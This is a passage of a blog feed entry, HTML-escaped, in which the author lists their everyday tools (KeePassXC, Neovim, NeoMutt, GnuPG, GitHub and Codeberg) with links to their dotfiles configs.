&lt;p&gt;Git config file: &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/b1nhack/dotfiles/blob/main/git/config&quot;&gt;config&lt;/a&gt;. delta config file: &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/b1nhack/dotfiles/blob/main/delta/delta.gitconfig&quot;&gt;delta.gitconfig&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;password-manager&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#password-manager&quot; aria-label=&quot;Anchor link for: password-manager&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Password Manager&lt;/h2&gt;
&lt;p&gt;My password manager is &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://keepassxc.org&quot;&gt;KeePassXC&lt;/a&gt;; config file at &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/b1nhack/dotfiles/blob/main/keepassxc/keepassxc.ini&quot;&gt;keepassxc.ini&lt;/a&gt;. Always back up your password database!&lt;/p&gt;
&lt;h2 id=&quot;code-editor&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#code-editor&quot; aria-label=&quot;Anchor link for: code-editor&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Code Editor&lt;/h2&gt;
&lt;p&gt;My code editor is &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://neovim.io&quot;&gt;Neovim&lt;/a&gt;; config lives in &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/b1nhack/nvim&quot;&gt;nvim&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;email-client&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#email-client&quot; aria-label=&quot;Anchor link for: email-client&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Email Client&lt;/h2&gt;
&lt;p&gt;My email client is &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://neomutt.org&quot;&gt;NeoMutt&lt;/a&gt; — the &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.kernel.org&quot;&gt;Linux Kernel&lt;/a&gt; runs on an email workflow.&lt;/p&gt;
&lt;p&gt;Config lives in &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/b1nhack/dotfiles/tree/main/neomutt&quot;&gt;neomutt&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;openpgp-implementation&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#openpgp-implementation&quot; aria-label=&quot;Anchor link for: openpgp-implementation&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
OpenPGP Implementation&lt;/h2&gt;
&lt;p&gt;My OpenPGP implementation is &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://gnupg.org&quot;&gt;GnuPG&lt;/a&gt;, used mainly for email encryption and code signing.&lt;/p&gt;
&lt;p&gt;Config lives in &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com/b1nhack/dotfiles/tree/main/gnupg&quot;&gt;gnupg&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;software-development-platform&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#software-development-platform&quot; aria-label=&quot;Anchor link for: software-development-platform&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;/span&gt;&lt;/a&gt;
Software Development Platform&lt;/h2&gt;
&lt;p&gt;My main software development platform is &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://github.com&quot;&gt;GitHub&lt;/a&gt;; important repositories go on &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://codeberg.org&quot;&gt;Codeberg&lt;/a&gt; first and are then synced to GitHub through its mirroring.&lt;/p&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn-1&quot;&gt;
&lt;p&gt;Neovim requires frequent Esc presses to switch modes. &lt;a href=&quot;https://b1n.io/blog/quality-of-cyber-life/#fr-1-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li id=&quot;fn-2&quot;&gt;
&lt;p&gt;The terminal emulator uses &lt;a class=&quot;external&quot; rel=&quot;noopener external&quot; target=&quot;_blank&quot; href=&quot;https://www.programmingfonts.org/#jetbrainsmono&quot;&gt;JetBrainsMono Nerd Font&lt;/a&gt; for its wide range of icons. &lt;a href=&quot;https://b1n.io/blog/quality-of-cyber-life/#fr-2-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        <summary type="html">A list of essential non-technical knowledge for better efficiency and quality of life.</summary>
        </entry>
</feed>
